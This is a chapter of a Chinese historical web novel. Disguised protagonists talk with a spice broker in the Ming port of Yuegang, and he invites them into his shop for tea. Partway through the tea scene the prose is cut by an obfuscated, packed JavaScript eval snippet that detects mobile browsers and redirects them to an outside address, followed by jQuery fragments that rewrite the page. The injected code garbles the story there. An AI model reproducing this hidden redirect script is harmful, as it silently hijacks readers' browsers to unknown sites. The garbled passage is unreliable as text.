有陆景渊这个富商在,都无需沈砚秋刻意钓鱼,几乎每过一条街巷,都有三五波的牙人主动走上前来搭话。
“客官远来辛苦!可是到月港投货、寻船、出货的?”
“客官,您是走标的,还是坐庄的?可需要小的介绍介绍?”
走标就是跑长途的,货来人来。大量的苏州的杭州的生丝、绸缎、绫罗、锦绮,德化的白瓷、漳州窑的青瓷、青花瓷,随着各路船只水网涌入月港,被当地的海商们收拢起来,等着贩运至东西二洋。
走标的商人们运来生丝瓷器,空下来的箱子填满香料番布,随着水路北上,将货物运到大明帝国任何有利可图的角落。
坐庄就是在月港租客房或者铺面,派个掌柜留守,负责收货、囤货、等船、出货等事务。
月港的商船冬天顺着季风出海,到了夏秋载着货物回港。如今正是海船陆续回港的时节,全国各地的货商开始集聚,歇了几月的牙人们纷纷活动起来。
牙人们通常三四十岁,正是年富力强的时候。大多头戴黑色网巾,穿一身青布长衫,手里捏一柄旧折扇挡挡太阳,热的时候扇扇风,腰间再系个布搭包。给人感觉齐整利落,精明能干,与后世的中介们没什么太大区别。
沈砚秋跟在“主家”身后,一路与牙人随意聊着天。
“我家官人想寻一些品质好的珠宝,运回松江府,此处的珠宝行如何,可不要蒙骗我等。”
“小的姓廖,是在册官牙,从不骗人,衙门都有记档,客官尽可放心。”廖掌柜琢磨了片刻,“只是小的是香料牙人,对珠宝懂的不多,可以向您推荐几个专做珠宝生意的。”
沈砚秋看向陆景渊,等他点头了,方才向廖掌柜说道:“如此便谢谢掌柜了。”
“不妨事,几位客官年轻有为,是头次来月港吗?”廖掌柜见陆景渊这肆意洒脱的装扮,几乎是把“好骗”写在了脑门上,约摸着是哪家的公子见世面来了。这随从倒是精明能干,像是正经做生意的主,怕是主家派来看护无知公子哥的。
“差不多,之前没这么热闹,这些天集市上人流如潮,廖掌柜生意不错吧?”沈砚秋反问道。
“这几天听说来了贵人,各路客商都挤破了头。我这小本生意,跟着喝口汤罢了。”廖掌柜摆摆手道。
月港就没有不透风的墙,但凡趁手的消息,转眼就会传遍十三行,只要晚上一天,这消息就卖不上价了。
沈砚秋来了兴致:“贵人,莫非是北边来的?我等早上听了一路,总是听个半拉子,这心里吧总是痒痒的,烦请掌柜给我等解惑。”
“你放心,我家官人不会少照顾你的生意。”
沈砚秋看向陆景渊,只见他嘴角含笑,面若桃李,冲她点头。
她眨了眨眼,额角上青筋暴起。
“掌柜的,说来听听罢。在下真好奇得很。”陆景渊摇了摇折扇,卷起一阵淡淡的香风。“等会儿买些上好的香料回去,给我娘子熏衣裳。”
“好说,客官若要寻上好香料,或是找稳妥船、兑番银,小的都能引道,保证让客官少走弯路,少花冤枉钱。”廖掌柜拱了拱手,“不如去小的店里慢慢说。”
月港做香料的牙行不知凡几,眼前的公子看起来阔绰又不精明,实在是上好的买家。廖掌柜等了三四个牙人才说上话,无论如何都要把握住机会。
廖记牙行就在东巷不远处,走上几步便到了。也是寻常的竹竿厝式样,门口挂着两扇青竹帘,帘子半卷半垂,日头晒得久了有些发黄。竹帘能隔绝声音与视线,又能让室内透风,少些闷热。帘外行人看不清内里动静,帘内的人却能看到外面,最是方便谈生意。
廖掌柜伸手将竹帘轻轻一掀,躬身请陆景渊先行。
陆景渊摇扇背手,一步跨入室内,沈砚秋与马管家对视一眼,默不作声地跟在他身后。
牙行内的格局与别处并无不同,面阔不大,与廖掌柜一样,收拾得干净利落。迎面是一张杉木桌,几条长凳。
“客官,这里请坐。”廖掌柜擦了凳子桌子,请三人坐下。“阿生,上茶。”
送上来的是一只小壶和四只小杯,闽地讲究小壶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317517|198988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小杯,热饮浓泡,虽然只是本地的龙溪茶,却也有着特殊的风味。
再往里是一张半人高的乌木柜台,台上摆着小小的万年松盆景,竹筒里斜插几支算筹。另有一柄小戥子,用来称碎银。
案后立着两具木柜,一个是书柜式样,放契纸账册和记载商客信息的名录,上着铜锁,另外一柜则做成好些方块抽屉,放着不同的香料的小包货样,都妥帖的贴着小纸条用以区分。
“这是海澄本地的龙溪茶,虽是炒青散茶,却味浓耐泡,自带一股兰香。客官若是喜欢,可以带一些回去,尝尝我们本地茶叶。”廖掌柜十分客气,又取了一碟香瓜子,一碟炒花生来。
这叫三人不买点东西走都有些不好意思了,实在是会做生意的。
“客官初来乍到,不知在海澄待得合心意否?”廖掌柜并不直接谈生意,反到拉起了家常。
陆景渊收起折扇,笑着回道:“海澄自然是极好的,气候宜人,物产丰富,这一路的货物种类,看得人是应接不暇。”
“客人从松江府来,那才叫人羡慕,闽地靠海吃饭,若是遇上风浪,那真是不好受。咱们这每次出海都得祭拜天妃娘娘,求一个顺风顺水,平安归来。”
“如此说来,某是得去拜一拜,不知这天妃娘娘行辕在何处?”陆景渊点头称是,接过话茬。
“这大泥天妃宫正在港口,凡扬帆破浪者,无不祷告,香火甚盛。不过,除此以外,咱们这的大户林员外家,特意从湄洲请了一尊娘娘像,听说也是特别灵验。”廖掌柜东向拱手拜了拜,神往地说道。
“竟然如此,那如何才能去呢?”沈砚秋做出同样神往的模样。
廖掌柜摇摇头:“林家乃是行善之家,只有那等实在贫苦的人家才能前去,我等是没那个福气了。”
“不过这十三行一般都有自己固定的客商,小的专做谢家海船的生意,对于林员外那边的事情知晓不多。”
“那谢家实力如何,又有几条船,能来多少货呢?”说着说着,话题就自然地转到了生意上,廖掌柜真是个妙人。